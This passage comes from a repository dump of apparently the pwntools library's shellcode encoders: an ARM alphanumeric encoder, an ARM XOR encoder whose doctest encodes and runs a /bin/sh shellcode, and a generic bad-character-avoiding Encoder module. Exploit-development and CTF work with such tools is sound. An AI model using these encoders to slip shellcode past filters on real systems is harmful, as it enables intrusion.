| a)\n   else:\n      x += chr(0x70 | a)\n   x += chr(((d << 4) | b) & 0xff)\n   if s != 0:\n      if op == EOR:\n         x += chr(0x30 | n)\n      if op == SUB:\n         x += chr(0x50 | n)\n      if op == RSB:\n         x += chr(0x70 | n)\n   else:\n      if op == SUB:\n         x += chr(0x40 | n)\n      if op == RSB:\n         x += chr(0x60 | n)\n   return x + \"\\x50\"\n\n# (LDR/STR)(PL/MI)B rd, [rn, #-imm] \n# ================================= \ndef lsbyte(op, cond, d, n, imm):\n   if type(imm) == int:\n      x = chr(imm & 0xff)\n   else:\n      x = imm\n   x += chr((d << 4) & 0xff)\n#   x = chr(imm) + chr((d << 4) & 0xff)\n   if op == STR:\n      x += chr(0x40 | n)\n   else:\n      x += chr(0x50 | n)\n   if cond == PL:\n      x += \"\\x55\"\n   else:\n      x += \"\\x45\"\n   return x\n\n# STMPLFD rd, (Register List)^ \n# ============================ \ndef smul(d, reglH, reglL):\n   return chr(reglL) + chr(reglH) + chr(0x40 | d) + \"\\x59\"\n\n# LDMPLDB rn!, (Register List) \n# ============================ \ndef lmul(n, reglH, reglL):\n   return chr(reglL) + chr(reglH) + chr(0x30 | n) + \"\\x59\"\n\n# SWI(PL/MI) 0x9f0002 \n# ============== \ndef swi(cond):\n   x = \"\\x02\\x00\\x9f\"\n   if cond == MI:\n      x += \"\\x4f\"\n   else:\n      x += \"\\x5f\"\n   return x\n\n# BMI 0xfffff4 \n# ============ \ndef bmi():\n   return \"\\xf4\\xff\\xff\\x4b\"\n\n# STRPLB rd, [!rn, -(rm ROR #imm)] with P=0 i.e. post-indexed addressing mode \n# =========================================================================== \ndef sbyteposti(d, n, m, imm):\n   x = chr(0x60 | m)\n   x += chr(((d << 4) | (imm >> 1)) & 0xff)\n   x += chr(0x40 | n)\n   x += \"\\x56\"\n   return x\n"
  },
  {
    "path": "pwnlib/encoders/arm/alphanumeric/__init__.py",
    "content": "# Copyright (c) 2013 Pratik Kumar Sahu, Nagendra Chowdary, Anish Mathuria\n# Ported to Python by Gallopsled\nimport binascii\nimport random\nimport string\nimport sys\n\nfrom pwnlib.context import context\nfrom . import builder\nfrom pwnlib.encoders.encoder import Encoder\n\n\nclass ArmEncoder(Encoder):\n    arch = 'arm'\n\n    blacklist  = {chr(c) for c in range(256) if chr(c) in (string.ascii_letters + string.digits)}\n    icache_flush = 1\n\n    def __call__(self, input, avoid, pcreg=None):\n        # If randomization is disabled, ensure that the seed\n        # is always the same for the builder.\n        state = random.getstate()\n        if not context.randomize:\n            random.seed(1)\n\n        try:\n            b = builder.builder()\n\n            enc_data = b.enc_data_builder(input)\n            dec_loop = b.DecoderLoopBuilder(self.icache_flush)\n            enc_dec_loop = b.encDecoderLoopBuilder(dec_loop)\n            dec = b.DecoderBuilder(dec_loop, self.icache_flush)\n\n            output, dec = b.buildInit(dec)\n\n            output += dec\n            output += enc_dec_loop\n            output += enc_data\n\n        finally:\n            random.setstate(state)\n\n        return output.encode()\n\nclass ThumbEncoder(ArmEncoder):\n    arch = 'thumb'\n\n    to_thumb = b'\\x01\\x30\\x8f\\xe2\\x13\\xff\\x2f\\xe1'\n\n    def __call__(self, input, avoid, pcreg=None):\n        return super(ThumbEncoder, self).__call__(self.to_thumb + input, avoid, pcreg)\n\nencode = ArmEncoder()\nThumbEncoder()\n"
  },
  {
    "path": "pwnlib/encoders/arm/alphanumeric/alphanum_byte.py",
    "content": "# Copyright (c) 2013 Pratik Kumar Sahu, Nagendra Chowdary, Anish Mathuria\n# Ported to Python by Gallopsled\nfrom . import random_funcs\n\n# +------------------------------------------------------------------------+ \n# |                    ALPHANUMERIC MANIPULATIONS FUNCTIONS                | \n# +------------------------------------------------------------------------+ \n\nALPHANUMERIC_BYTES = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\n\n# return 1 if the byte is alphanumeric \n# ==================================== \ndef alphanumeric_check(c):\n   if type(c) == int:\n      c = chr(c & 0xff)\n   return c.isalnum()\n\n\n# return a random alphanumeric byte \n# ================================= \ndef alphanumeric_get_byte():\n   return ord(random_funcs.randel(ALPHANUMERIC_BYTES))\n\n# return a randomly selected alphanumeric byte less than max \n# ========================================================== \n#CSE author actually returns a byte <= max, not strictly < max\ndef alphanumeric_get_byte_ltmax(max):\n   sz = 0\n   while sz < len(ALPHANUMERIC_BYTES) and ord(ALPHANUMERIC_BYTES[sz]) <= max:\n      sz += 1\n   return ord(random_funcs.randel(ALPHANUMERIC_BYTES[:sz]))\n\n# generate an alphanumeric offset such that c+offset is also alphanumeric \n# ======================================================================= \ndef off_gen(c):\n   if c >= 0 and c <= 0x4a:\n      max = 16 * 7 + 10 - c\n      while True:\n         x = alphanumeric_get_byte_ltmax(max)\n         if alphanumeric_check(c + x):\n            return x\n   return 0\n\n# return an alphanumeric value ret such that c XOR ret is also alphanumeric\n# =========================================================================\ndef alphanumeric_get_complement(c):\n   c &= 0xff\n   while True:\n      ret = alphanumeric_get_byte()\n      if alphanumeric_check(c ^ ret):\n         return ret\n"
  },
  {
    "path": "pwnlib/encoders/arm/alphanumeric/alphanumeric.py",
    "content": ""
  },
  {
    "path": "pwnlib/encoders/arm/alphanumeric/builder.py",
    "content": "# Copyright (c) 2013 Pratik Kumar Sahu, Nagendra Chowdary, Anish Mathuria\n# Ported to Python by Gallopsled\nfrom . import alphanum_byte\nfrom . import ARM_Instructions\nfrom . import random_funcs\n\n#+---------------------------------------------------+*/\n#|                Builder Functions                  |*/\n#+---------------------------------------------------+*/\n\nEOR = 1\nSUB = 2\nRSB = 3\nMI  = 4\nPL  = 5\nLDR = 6\nSTR = 7\nLDM = 8\nSTM = 9\nROR = 10\nLSR = 11\n\nclass builder:\n\n   def __init__(self):\n      self.I = 0\n      self.size = 0\n      self.i = 0\n      self.j = 0\n      self.k = 0\n      self.x = 0\n      self.addr = 0\n      self.addr_offset = 0\n\n   def enc_data_builder(self, input):\n      if len(input) == 0:\n         return ''\n      output = ''\n      arr = [1,2,3,4,5,6,7,8,9]\n      self.I = random_funcs.randel(arr)\n      for _, ab in enumerate(bytearray(input)):\n         b = ab & 0x0f\n         e0 = random_funcs.enc_data_msn(b, self.I)\n         e0 = e0 << 4\n         ef = e0 | b\n         d = ((ab & 0xf0) ^ e0) >> 4\n         c0 = random_funcs.enc_data_msn(d, self.I) << 4\n         cd = c0 | d\n         output += chr(cd & 0xff)\n         output += chr(ef & 0xff)\n      #Last two bytes to stop the decoder_loop*/\n      max = 0x30 | self.I\n      output += chr(alphanum_byte.alphanumeric_get_byte())\n      output += chr(alphanum_byte.alphanumeric_get_byte_ltmax(max))\n      return output\n\n   def DecoderLoopBuilder(self, icache_flush):\n      dec_loop = ''\n      # Select p,s,t and q */\n      arr = [3, 7]\n      p = random_funcs.randel(arr)\n      if p == 3:\n         s = 7\n      else:\n         s = 3\n      t = 6\n      arr2 = [8, 9]\n      q = random_funcs.randel(arr2)\n\n      # Add the instructions*/\n      if icache_flush != 0:\n         dec_loop += ARM_Instructions.swi(MI)\n\n      rsalnum = alphanum_byte.alphanumeric_get_byte()\n\n      if icache_flush != 0:\n         #EORMIS rp, r4, #(randomly selected alphanumeric value)*/\n         dec_loop += ARM_Instructions.dpimm(EOR, MI, 1, p, 4, rsalnum)\n\n      if icache_flush == 1:\n         dist = 0x2c\n      else:\n         dist = 0x28\n\n      offset = alphanum_byte.off_gen(dist + 0x04)\n\n      #SUBPL rs, r4, #(dist+0x04+offset)*/\n      dec_loop += ARM_Instructions.dpimm(SUB, PL, 0, s, 4, chr(dist + 0x04 + offset))\n\n      #SUBPL rs, pc, rs LSR r4*/\n      dec_loop += ARM_Instructions.dpshiftreg(SUB, 0, s, 0x0f, s, LSR, 4)\n\n      #EORPLS rt, r4, rs LSR r4*/\n      dec_loop += ARM_Instructions.dpshiftreg(EOR, 1, t, 4, s, LSR, 4)\n\n      #EORMIS rp, r4, #rsalnum*/\n      rsalnum = alphanum_byte.alphanumeric_get_byte()\n      dec_loop += ARM_Instructions.dpimm(EOR, MI, 1, p, 4, rsalnum)\n\n      #LDRPLB rp, [rs, #(-offset)]*/\n      dec_loop += ARM_Instructions.lsbyte(LDR, PL, p, s, offset)\n\n      #SUBPL rs, rs, r5 LSR r4*/\n      dec_loop += ARM_Instructions.dpshiftreg(SUB, 0, s, s, 5, LSR, 4)\n\n      #LDRPLB rq, [rs, #(-offset)]*/\n      dec_loop += ARM_Instructions.lsbyte(LDR, PL, q, s, offset)\n\n      #EORPLS rp, rq, rp ROR #28*/\n      dec_loop += ARM_Instructions.dpshiftimm(EOR, 1, p, q, p, 28)\n\n      #STRPLB rp, [rt, #(-offset)]*/\n      dec_loop += ARM_Instructions.lsbyte(STR, PL, p, t, offset)\n\n      #SUBPL rt, rt, r5 LSR r4*/\n      dec_loop += ARM_Instructions.dpshiftreg(SUB, 0, t, t, 5, LSR, 4)\n\n      #SUBPL rs, rs, r5 LSR r4*/\n      dec_loop += ARM_Instructions.dpshiftreg(SUB, 0, s, s, 5, LSR, 4)\n\n      #RSBPLS rq, rq, #0x3I*/\n      dec_loop += ARM_Instructions.dpimm(RSB, PL, 1, q, q, 0x30 | self.I)\n\n      #BMI 0xfffff4*/\n      dec_loop += ARM_Instructions.bmi()\n\n      #STRPLB r4, [rt, #-(offset+1)]*/\n      dec_loop += ARM_Instructions.lsbyte(STR, PL, 4, t, offset + 1)\n\n      if icache_flush == 1:\n         #SWIPL 0x9f0002*/\n         dec_loop += ARM_Instructions.swi(PL)\n      return dec_loop\n\n   def encDecoderLoopBuilder(self, input):\n      output = ''\n      if len(input) == 0:\n         return output\n      for p in input:\n         if not alphanum_byte.alphanumeric_check(p):\n            output += chr(alphanum_byte.alphanumeric_get_byte())\n         else:\n            output += p\n      return output\n\n   def DecoderBuilder(self, input, icache_flush):\n      if len(input) == 0:\n         return ''\n      output = ''\n\n      #Register selections*/\n      arr = [4,6]\n      self.addr  = random_funcs.randel(arr)\n      arr2 = [3, 5, 7]\n      self.i = random_funcs.randel(arr2)\n      arr3 = [0, 0]\n      q = 0\n      for p in range(3):\n         if arr2[p] != self.i:\n            arr3[q] = arr2[p]\n            q += 1\n      self.j = random_funcs.randel(arr3)\n      for p in range(2):\n         if arr3[p] != self.j:\n            self.k = arr3[p]\n            break\n\n      self.x = alphanum_byte.off_gen(0x01)\n      offset = 0x91\n      if icache_flush != 0:\n         output += self.algo1(input, 0, 3)\n         output += self.gap_traverse(0x1e)\n         output += self.algo1(input, 33, 5)\n      else:\n         output += self.gap_traverse(0x19)\n         output += self.algo1(input, 25, 5)\n      output += self.gap_traverse(0x0f)\n      if icache_flush != 0:\n         output += self.algo1(input, 53, 15)\n      else:\n         output += self.algo1(input, 45, 11)\n      #trucate the last instruction, which increments raddr by 1, from the output*/\n      output = output[:-4]\n      self.size -= 4\n      #Setting r0, r1, r2 for parameter passing*/\n      #SUBPLS ri, ri, #x*/\n      output += ARM_Instructions.dpimm(SUB, PL, 1, self.i, self.i, self.x)\n      #SUBPL r4, ri, ri LSR ri*/\n      output += ARM_Instructions.dpshiftreg(SUB, 0, 4, self.i, self.i, LSR, self.i)\n      #SUBPL r6, ri, ri LSR ri*/\n      output += ARM_Instructions.dpshiftreg(SUB, 0, 6, self.i, self.i, LSR, self.i)\n      #SUBPL r5, rj, r4 ROR r6*/\n      output += ARM_Instructions.dpshiftreg(SUB, 0, 5, self.j, 4, ROR, 6)\n\n      self.size += 4 * 4\n\n      if icache_flush:\n         arr4 = [3,7]\n         m = random_funcs.randel(arr4)\n\n         c = alphanum_byte.off_gen(24)\n         arr5 = [2,4,6,8,10,12,14,16,18]\n         arr6 = [4,6]\n         arr7 = [1,2,4,8]\n         reglH = 0x40 | random_funcs.randel(arr7)\n         #SUBPL rm, sp, #(c+24) */\n         output += ARM_Instructions.dpimm(SUB, PL, 0, m, 13, c + 24)\n\n         #Store 4 0x00*/\n         #STRPLB random_funcs.randel(arr6), [!rm, -(r5 ROR #random_funcs.randel(arr5))]*/\n         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))\n         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))\n         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))\n         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))\n\n         #Store 4 0xff*/\n         #STRPLB r5, [!rm, -(r5 ROR #random_funcs.randel(arr5))]*/\n         output += ARM_Instructions.sbyteposti(5, m, 5, random_funcs.randel(arr5))\n         output += ARM_Instructions.sbyteposti(5, m, 5, random_funcs.randel(arr5))\n         output += ARM_Instructions.sbyteposti(5, m, 5, random_funcs.randel(arr5))\n         output += ARM_Instructions.sbyteposti(5, m, 5, random_funcs.randel(arr5))\n\n         #Store 4 0x00*/\n         #STRPLB random_funcs.randel(arr6), [!rm, -(r5 ROR #random_funcs.randel(arr5))]*/\n         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))\n         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))\n         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))\n         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))\n\n         #SUBPL rm, sp, #c*/\n         output += ARM_Instructions.dpimm(SUB, PL, 0, m, 13, c)\n\n         #LDMPLDB rm!, {r0, r1, r2, r6, r8/9/10/11, r14}*/\n         output += ARM_Instructions.lmul(m, reglH, 0x47)\n\n         #SUBPLS rm, r5, r4 ROR rm*/\n         output += ARM_Instructions.dpshiftreg(SUB, 1, m, 5, 4, ROR, m)\n\n         self.size += 4 * 16\n      return output\n\n   def algo1(self, input, begin_inp, iter):\n      if len(input) == 0:\n         return ''\n      output = ''\n      offset = 0x91\n      for p in range(begin_inp, begin_inp + iter):\n         y = ord(input[p])\n         if alphanum_byte.alphanumeric_check(y):\n            #SUBPL raddr, raddr, rj ROR rk*/\n            output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)\n            self.size += 4\n            continue\n         if y >= 0x80:\n            if alphanum_byte.alphanumeric_check(~y):\n               #EORPLS rk, rj, #~y*/\n               output += ARM_Instructions.dpimm(EOR, PL, 1, self.k, self.j, ~y)\n               #STRMIB rk, [raddr, #(-offset)]*/\n               output += ARM_Instructions.lsbyte(STR, MI, self.k, self.addr, offset)\n               #SUBMIS rk, ri, #x*/\n               output += ARM_Instructions.dpimm(SUB, MI, 1, self.k, self.i, self.x)\n               #SUBPL raddr, raddr, rj ROR rk*/\n               output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)\n\n               self.size += 4 * 4\n               continue\n\n            a = alphanum_byte.alphanumeric_get_complement(~y)\n            b = (a ^ ~y) & 0xff\n            #EORPLS rk, rj, #a*/\n            output += ARM_Instructions.dpimm(EOR, PL, 1, self.k, self.j, a)\n            #EORMIS  rk,  rk, #b*/\n            output += ARM_Instructions.dpimm(EOR, MI, 1, self.k, self.k, b)\n            #STRMIB rk, [raddr, #(-offset)]*/\n            output += ARM_Instructions.lsbyte(STR, MI, self.k, self.addr, offset)\n            #SUBMIS rk, ri, #x*/\n            output += ARM_Instructions.dpimm(SUB, MI, 1, self.k, self.i, self.x)\n            #SUBPL raddr, raddr, rj ROR rk*/\n            output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)\n\n            self.size += 4 * 5\n            continue\n         if self.x > y:\n            z1 = self.x - y\n            if alphanum_byte.alphanumeric_check(z1):\n               #SUBPL rk, ri, #z*/\n               output += ARM_Instructions.dpimm(SUB, PL, 0, self.k, self.i, z1)\n               #STRPLB rk, [raddr, #(-offset)]*/\n               output += ARM_Instructions.lsbyte(STR, PL, self.k, self.addr, offset)\n               #SUBPL raddr, raddr, rj ROR rk*/\n               output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)\n\n               self.size += 4 * 3\n               continue\n         z2 = self.x + y\n         if alphanum_byte.alphanumeric_check(z2):\n            #RSBPL rk, ri, #z*/\n            output += ARM_Instructions.dpimm(RSB, PL, 0, self.k, self.i, z2)\n            #STRPLB rk, [raddr, #(-offset)]*/\n            output += ARM_Instructions.lsbyte(STR, PL, self.k, self.addr, offset)\n            #SUBPL raddr, raddr, rj ROR rk*/\n            output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)\n\n            self.size += 4 * 3\n            continue\n         z3 = self.x ^ y\n         if alphanum_byte.alphanumeric_check(z3):\n            #EORPLS rk, ri, #z*/\n            output += ARM_Instructions.dpimm(EOR, PL, 1, self.k, self.i, z3)\n            #STRPLB rk, [raddr, #(-offset)]*/\n            output += ARM_Instructions.lsbyte(STR, PL, self.k, self.addr, offset)\n            #SUBPL raddr, raddr, rj ROR rk*/\n            output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)\n\n            self.size += 4 * 3\n            continue\n         a2 = alphanum_byte.alphanumeric_get_complement(z3)\n         b2 = a2 ^ z3\n         #EORPLS rk, ri, #a*/\n         output += ARM_Instructions.dpimm(EOR, PL, 1, self.k, self.i, a2)\n         #EORPLS rk, rk, #b*/\n         output += ARM_Instructions.dpimm(EOR, PL, 1, self.k, self.k, b2)\n         #STRPLB rk, [raddr, #(-offset)]*/\n         output += ARM_Instructions.lsbyte(STR, PL, self.k, self.addr, offset)\n         #SUBPL raddr, raddr, rj ROR rk*/\n         output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)\n\n         self.size += 4 * 4\n\n\n      return output\n\n   def gap_traverse(self, gap):\n      output = ''\n      g = alphanum_byte.off_gen(gap)\n      h = g + gap\n      #SUBPL rj, ri, #x*/\n      output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.i, self.x)\n      #EORPLS rk, rj, #g*/\n      output += ARM_Instructions.dpimm(EOR, PL, 1, self.k, self.j, g)\n      #SUBPL rk, rk, #h*/\n      output += ARM_Instructions.dpimm(SUB, PL, 0, self.k, self.k, h)\n      #SUBPL raddr, raddr, rk LSR rj*/\n      output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.k, LSR, self.j)\n      #SUBPL rj, ri, #(x+1)*/\n      output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.i, self.x + 1)\n\n      self.size += 4 * 5\n      return output\n\n\n   def buildInit(self, input):\n      if len(input) == 0:\n         return ('', input)\n      output = ''\n\n      #Select values of v and w*/\n      total = 0x70\n      arr1 = [0x30, 0x34, 0x38]\n      v1 = random_funcs.randel(arr1)\n      v2 = random_funcs.randel(arr1)\n\n      topv = ((total - (v1 + v2)) // 4) + 1\n\n      w1 = random_funcs.randel(arr1)\n      w2 = random_funcs.randel(arr1)\n\n      topw = ((total - (w1 + w2)) // 4) + 2\n\n      arrop = [EOR, SUB, RSB]\n      arrcond = [PL, MI]\n      arrs = [0, 1]\n      arrd = [3, 5, 7]\n      arrn = [1, 2, 3, 4, 5, 6, 7, 8, 9]\n      p = 1\n      while p <= ((total-8) // 4):\n         op = random_funcs.randel(arrop)\n         cond = random_funcs.randel(arrcond)\n         if op == EOR:\n            s = 1\n         else:\n            s = random_funcs.randel(arrs)\n         d = random_funcs.randel(arrd)\n         n = random_funcs.randel(arrn)\n         if p == topv or p == topw:\n            output += ARM_Instructions.dpimm(op, cond, s, d, n, self.x)\n         else:\n            output += ARM_Instructions.dpimm(op, cond, s, d, n, alphanum_byte.alphanumeric_get_byte())\n         p += 1\n\n      #SUBPL ri, pc, #v1*/\n      output += ARM_Instructions.dpimm(SUB, PL, 0, self.i, 15, v1)\n      #SUBMI ri, pc, #w1*/\n      output += ARM_Instructions.dpimm(SUB, MI, 0, self.i, 15, w1)\n      #LDRPLB ri, [ri, #(-v2)]*/\n      output += ARM_Instructions.lsbyte(LDR, PL, self.i, self.i, v2)\n      #LDRMIB ri, [ri, #(-w2)]*/\n      output += ARM_Instructions.lsbyte(LDR, MI, self.i, self.i, w2)\n\n      output += self.algo2()\n\n      #SUBPL rj, ri, #(x+1)*/\n      output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.i, self.x + 1)\n      #Initializer built!!*/\n\n      #Replace 0x91s in decoder with addr_offset*/\n      input_new = ''\n      for p in input:\n         if p == \"\\x91\":\n            input_new += chr(self.addr_offset)\n         else:\n            input_new += p\n      return (output, input_new)\n\n   def algo2(self):\n      output = ''\n      self.size += 4\n      #SUBMIS rk, ri, #x*/\n      output += ARM_Instructions.dpimm(SUB, MI, 1, self.k, self.i, self.x)\n      #SUBPLS rk, ri, #x*/\n      output += ARM_Instructions.dpimm(SUB, PL, 1, self.k, self.i, self.x)\n      #SUBPL rj, ri, #x*/\n      output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.i, self.x)\n\n      quo = (self.size - 4) // 0x7a\n      if quo >= 1:\n         for p in range(quo):\n            #SUBPL rj, rj, #0x7a*/\n            output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.j, 0x7a)\n\n      rem = (self.size - 4) % 0x7a\n      if rem >= 1 and rem <= 0x4a:\n         self.addr_offset = alphanum_byte.off_gen(rem)\n         #SUBPL rj, rj, #(offset+rem)*/\n         output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.j, self.addr_offset + rem)\n\n      if rem >= 0x4b and rem < 0x7a:\n         if alphanum_byte.alphanumeric_check(rem):\n            self.addr_offset = alphanum_byte.alphanumeric_get_byte()\n            #SUBPL rj, rj, #(rem)*/\n            output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.j, rem)\n            #SUBPL rj, rj, #(offset)*/\n            output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.j, self.addr_offset)\n         else:\n            self.addr_offset = alphanum_byte.off_gen(rem - 0x5a)\n            #SUBPL rj, rj, #0x5a*/\n            output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.j, 0x5a)\n            #SUBPL rj, rj, #(offset + (rem - 0x5a))*/\n            output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.j, self.addr_offset + rem - 0x5a)\n\n      #SUBPL raddr, pc, rj ROR rk*/\n      output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, 15, self.j, ROR, self.k)\n      return output\n"
  },
  {
    "path": "pwnlib/encoders/arm/alphanumeric/random_funcs.py",
    "content": "# Copyright (c) 2013 Pratik Kumar Sahu, Nagendra Chowdary, Anish Mathuria\n# Ported to Python by Gallopsled\nimport os\nimport random\nimport struct\n\n\n# +------------------------------------------------------------------------+\n# |                       RANDOM NUMBERS FUNCTIONS                         |\n# +------------------------------------------------------------------------+\n\n# get a random integer i (0<=i<maxv)\n# ==================================\ndef random_get_int(maxv):\n   return random.randrange(0, maxv)\n\n\ndef randel(arr):\n   return arr[random_get_int(len(arr))]\n\ndef enc_data_msn(c, i):\n   # c is the lsn to be encoded with a msn\n   # lsn = least significant nibble  msn = most significant nibble\n   if c <= i:\n      if c == 0:\n         #Randomly select and return from {5,7}\n         return randel([5, 7])\n      else:\n         #Randomly select and return from {4,5,6,7}\n         return randel([4,5,6,7])\n   elif c == 0:\n      #Randomly select and return from {3,5,7}\n      return randel([3,5,7])\n   elif c <= 0x0A:\n      #Randomly select and return from {3,4,5,6,7}\n      #CSE Why doesn't the author use 3 below then?\n      return randel([4,5,6,7])\n   else:\n      return randel([4,6])\n"
  },
  {
    "path": "pwnlib/encoders/arm/xor.py",
    "content": "from pwnlib import shellcraft\nfrom pwnlib.asm import asm\nfrom pwnlib.context import context\nfrom pwnlib.encoders.encoder import Encoder\nfrom pwnlib.util.fiddling import xor_key\nfrom pwnlib.util.lists import group\nfrom pwnlib.util.packing import u8\n\n\nclass ArmXorEncoder(Encoder):\n    r\"\"\"Generates an XOR decoder for ARM.\n\n    >>> context.clear(arch='arm')\n    >>> shellcode = asm(shellcraft.sh())\n    >>> avoid = b'binsh\\x00\\n'\n    >>> encoded = pwnlib.encoders.arm.xor.encode(shellcode, avoid)\n    >>> assert not any(c in encoded for c in avoid)\n    >>> p = run_shellcode(encoded)\n    >>> p.sendline(b'echo hello; exit')\n    >>> p.recvline()\n    b'hello\\n'\n    \"\"\"\n\n    arch = 'arm'\n\n    decoder = \"\"\"\n    adr r8, payload\n    mov r4, #%(length)s\n    adr r6, xor_cacheflush\nloop:\n    cmp  r4, #%(maximum)s\n    bxhi r6\n    sub  r4, r4, #%(length)s\n    ldrb r5, [r8, r4]\n    eor  r5, r5, #%(key)s\n    strb r5, [r8, r4]\n    add  r4, r4, #%(length)s + 1\n    b loop\n\nxor_cacheflush:\n    %(cacheflush)s\npayload:\n    \"\"\"\n\n    blacklist = set(\"\\x01\\x80\\x03\\x85\\x04\\x07\\x87\\x0c\\x8f\\x0f\\x16\\x1c\\x9f\\x84\\xa0%$'-/\\xb0\\xbd\\x81A@\\xc2DG\\xc6\\xc8OPT\\xd8_\\xe1`\\xe3\\xe2\\xe5\\xe7\\xe9\\xe8\\xea\\xe0p\\xf7\")\n\n    def __call__(self, raw_bytes, avoid, pcreg=''):\n        key, xordata = xor_key(raw_bytes, avoid, size=1)\n        key          = u8(key)\n        maximum      = 256\n        length       = len(raw_bytes)\n        cacheflush   = shellcraft.arm.linux.cacheflush()\n        decoder      = asm(self.decoder % locals())\n        return decoder + xordata\n\nencode = ArmXorEncoder()\n"
  },
  {
    "path": "pwnlib/encoders/encoder.py",
    "content": "import collections\nimport random\nimport re\nimport string\n\nfrom pwnlib.context import LocalContext\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.util.fiddling import hexdump\n\nlog = getLogger(__name__)\n\nclass Encoder(object):\n    _encoders = collections.defaultdict(lambda: [])\n\n    #: Architecture which this encoder works on\n    arch = None\n\n    #: Blacklist of bytes which are known not to be supported\n    blacklist = set()\n\n    def __init__(self):\n        \"\"\"Shellcode encoder class\n\n        Implements an architecture-specific shellcode encoder\n        \"\"\"\n        Encoder._encoders[self.arch].append(self)\n\n    def __call__(self, raw_bytes, avoid, pcreg):\n        \"\"\"avoid(raw_bytes, avoid)\n\n        Arguments:\n            raw_bytes(str):\n                String of bytes to encode\n            avoid(set):\n                Set of bytes to avoid\n            pcreg(str):\n                Register which contains the address of the shellcode.\n                May be necessary for some shellcode.\n        \"\"\"\n        raise NotImplementedError()\n\n\n@LocalContext\ndef encode(raw_bytes, avoid=None, expr=None, force=0, pcreg=''):\n    \"\"\"encode(raw_bytes, avoid, expr, force) -> str\n\n    Encode shellcode ``raw_bytes`` such that it does not contain\n    any bytes in ``avoid`` or ``expr``.\n\n    Arguments:\n\n        raw_bytes(str): Sequence of shellcode bytes to encode.\n        avoid(str):     Bytes to avoid\n        expr(str):      Regular expression which matches bad characters.\n        force(bool):    Force re-encoding of the shellcode, even if it\n                        doesn't contain any bytes in ``avoid``.\n    \"\"\"\n    orig_avoid = avoid\n\n    avoid = set(avoid or '')\n\n    if expr:\n        for char in all_chars:\n            if re.search(expr, char):\n                avoid.add(char)\n\n    if not (force or avoid & set(raw_bytes)):\n        return raw_bytes\n\n    encoders = Encoder._encoders[context.arch]\n    random.shuffle(encoders)\n\n    for encoder in encoders:\n        if encoder.blacklist & avoid:\n            continue\n\n        try:\n            v = encoder(raw_bytes, bytes(avoid), pcreg)\n        except NotImplementedError:\n            continue\n\n        if avoid & set(v):\n            log.warning_once(\"Encoder %s did not succeed\" % encoder)\n            continue\n\n        return v\n\n\n    avoid_errmsg = ''\n    if orig_avoid and expr:\n        avoid_errmsg = '%r and %r' % (orig_avoid, expr)\n    elif expr:\n        avoid_errmsg = repr(expr)\n    else:\n        avoid_errmsg = repr(bytes(avoid))\n\n    args = (context.arch, avoid_errmsg, hexdump(raw_bytes))\n    msg = \"No encoders for %s which can avoid %s for\\n%s\" % args\n    msg = msg.replace('%', '%%')\n    log.error(msg)\n\nall_chars        = list(chr(i) for i in range(256))\nre_alphanumeric  = r'[^A-Za-z0-9]'\nre_printable     = r'[^\\x21-\\x7e]'\nre_whitespace    = r'\\s'\nre_null          = r'\\x00'\nre_line          = r'[\\s\\x00]'\n\n@LocalContext\ndef null(raw_bytes, *a, **kw):\n    \"\"\"null(raw_bytes) -> str\n\n    Encode the shellcode ``raw_bytes`` such that it does not\n    contain any NULL bytes.\n\n    Accepts the same arguments as :func:`encode`.\n    \"\"\"\n    return encode(raw_bytes, expr=re_null, *a, **kw)\n\n@LocalContext\ndef line(raw_bytes, *a, **kw):\n    \"\"\"line(raw_bytes) -> str\n\n    Encode the shellcode ``raw_bytes`` such that it does not\n    contain any NULL bytes or whitespace.\n\n    Accepts the same arguments as :func:`encode`.\n    \"\"\"\n    return encode(raw_bytes, expr=re_whitespace, *a, **kw)\n\n@LocalContext\ndef alphanumeric(raw_bytes, *a, **kw):\n    \"\"\"alphanumeric(raw_bytes) -> str\n\n    Encode the shellcode ``raw_bytes`` such that it does not\n    contain any bytes except for [A-Za-z0-9].\n\n    Accepts the same arguments as :func:`encode`.\n    \"\"\"\n    return encode(raw_bytes, expr=re_alphanumeric, *a, **kw)\n\n@LocalContext\ndef printable(raw_bytes, *a, **kw):\n    \"\"\"printable(raw_bytes) -> str\n\n    Encode the shellcode ``raw_bytes`` such that it only contains\n    non-space printable bytes.\n\n    Accepts the same arguments as :func:`encode`.\n    \"\"\"\n    return encode(raw_bytes, expr=re_printable, *a, **kw)\n\n@LocalContext\ndef scramble(raw_bytes, *a, **kw):\n    